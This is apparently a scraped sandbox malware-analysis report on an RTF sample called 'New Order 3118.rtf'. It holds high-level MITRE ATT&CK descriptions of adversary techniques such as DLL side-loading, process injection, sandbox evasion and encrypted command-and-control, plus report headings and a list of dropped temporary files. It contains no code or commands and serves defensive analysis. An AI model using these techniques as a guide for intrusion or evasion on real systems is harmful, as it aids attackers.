Description:	Adversaries may exploit software vulnerabilities in client applications to execute code. Vulnerabilities can exist in software due to unsecure coding practices that can lead to unanticipated behavior. Adversaries can take advantage of certain vulnerabilities through targeted exploitation for the purpose of arbitrary code execution. Oftentimes the most valuable exploits to an offensive toolkit are those that can be used to obtain code execution on a remote system because they can be used to gain access to that system. Users will expect to see files related to the applications they commonly used to do work, so they are a useful target for exploit research and development because of their high utility.
Tactics:	Execution
Data Sources:	Application Log: Application Log Content, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the Windows Registry to hide configuration information within Registry keys, remove information as part of cleaning up, or as part of other techniques to aid in persistence and execution.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may install a root certificate on a compromised system to avoid warnings when connecting to adversary controlled web servers. Root certificates are used in public key cryptography to identify a root certificate authority (CA). When a root certificate is installed, the system or application will trust certificates in the root's chain of trust that have been signed by the root certificate.Certificates are commonly used for establishing secure TLS/SSL communications within a web browser. When a user attempts to browse a website that presents a certificate that is not trusted an error message will be displayed to warn the user of the security risk. Depending on the security settings, the browser may not allow the user to establish a connection to the website.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of other systems by IP address, hostname, or other logical identifier on a network that may be used for Lateral Movement from the current system. Functionality could exist within remote access tools to enable this, but utilities available on the operating system could also be used such as Ping or `net view` using Net .
Tactics:	Discovery
Data Sources:	Command: Command Execution, File: File Access, Network Traffic: Network Connection Creation, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report New Order 3118.rtf

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Initial Sample

Sigma Signatures

Exploits

System Summary

Snort Signatures

Joe Sandbox Signatures

AV Detection

Exploits

Compliance

Software Vulnerabilities

Networking

System Summary

Data Obfuscation

Persistence and Installation Behavior

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Language, Device and Operating System Detection

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\T4O403JZ\6nSkW0jqkE1okon[1].htm

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.Word\~WRF{A05A15F4-C2B5-4B67-9073-F54DC08C2E4B}.tmp

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.Word\~WRS{766A1BB3-4D83-4EF3-8227-676B1863F934}.tmp

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.Word\~WRS{A82DB890-72A8-478E-8686-713EE0E0C1F6}.tmp

C:\Users\user\AppData\Roaming\Microsoft\Office\Recent\New Order 3118.LNK

C:\Users\user\AppData\Roaming\Microsoft\Office\Recent\index.dat

C:\Users\user\AppData\Roaming\Microsoft\Templates\~$Normal.dotm

C:\Users\user\Desktop\~$w Order 3118.rtf

Static File Info

General

File Icon

Static RTF Info

Objects

Network Behavior

Network Port Distribution

TCP Packets

UDP Packets

DNS Queries

DNS Answers

HTTP Request Dependency Graph

Windows Analysis Report
New Order 3118.rtf